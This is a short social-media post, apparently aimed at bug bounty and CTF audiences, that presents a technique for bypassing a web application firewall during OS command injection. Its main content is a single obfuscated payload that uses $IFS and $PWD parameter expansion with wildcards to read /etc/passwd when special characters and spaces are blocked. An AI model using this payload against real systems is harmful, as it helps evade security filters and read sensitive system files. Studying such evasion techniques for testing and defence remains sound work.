OS Command #Injection with #WAF Enabled,

Special Characters Like (/”‘&|()-;:.,`) and Whitespaces #Blocked.

#Bypass Method:

E.g.: reading /etc/passwd file:
cat$IFS$9${PWD%%[a-z]*}e*c${PWD%%[a-z]*}p?ss??

#cybersecurity #security #bugbounty #infosec #tech #password #ctf #hacking